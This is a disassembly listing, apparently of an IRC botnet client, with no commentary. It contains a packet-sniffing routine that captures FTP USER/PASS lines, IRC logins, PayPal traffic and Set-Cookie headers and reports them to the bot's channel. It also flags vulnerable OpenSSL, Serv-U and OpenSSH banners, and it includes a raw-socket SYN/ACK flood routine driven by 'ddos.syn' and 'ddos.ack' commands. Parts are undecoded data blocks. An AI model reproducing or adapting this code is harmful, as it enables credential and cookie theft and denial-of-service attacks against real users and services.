		dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 0DE4EE890h, 0BB53022Ah, 434EB0h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h
		dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh,	50004CAFh
		dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
		dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22ADCB0h
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDCE0, eax
		mov	eax, offset dword_4CDCE0
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A


loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2


loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491


loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7


loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507


loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E


loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E


loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4


loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615


loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B


loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAF88
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CAFF8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AC8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26C0000h
		nop


loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF20
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435A98
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26C0000h


loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h


loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAF8C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905


loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h


loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h


loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1


loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A64
		jmp	loc_4129E7
; ---------------------------------------------------------------------------


loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A30
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359FC
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359C4


loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------


loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43598C
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 8E80000h, 900225E1h, 8E52E850h
		dd 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh,	0FDF4858Dh
		dd 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h,	8D5014C4h
		dd 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh, 0F4858D50h
		dd 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh,	858D14C4h
		dd 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h, 0FF8915E8h
		dd 565959FFh, 2AD4FBE8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------


loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAF74
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAF74
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAF70
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAF74
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2760000h
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2750B7Fh
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2750B7Fh
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------


loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
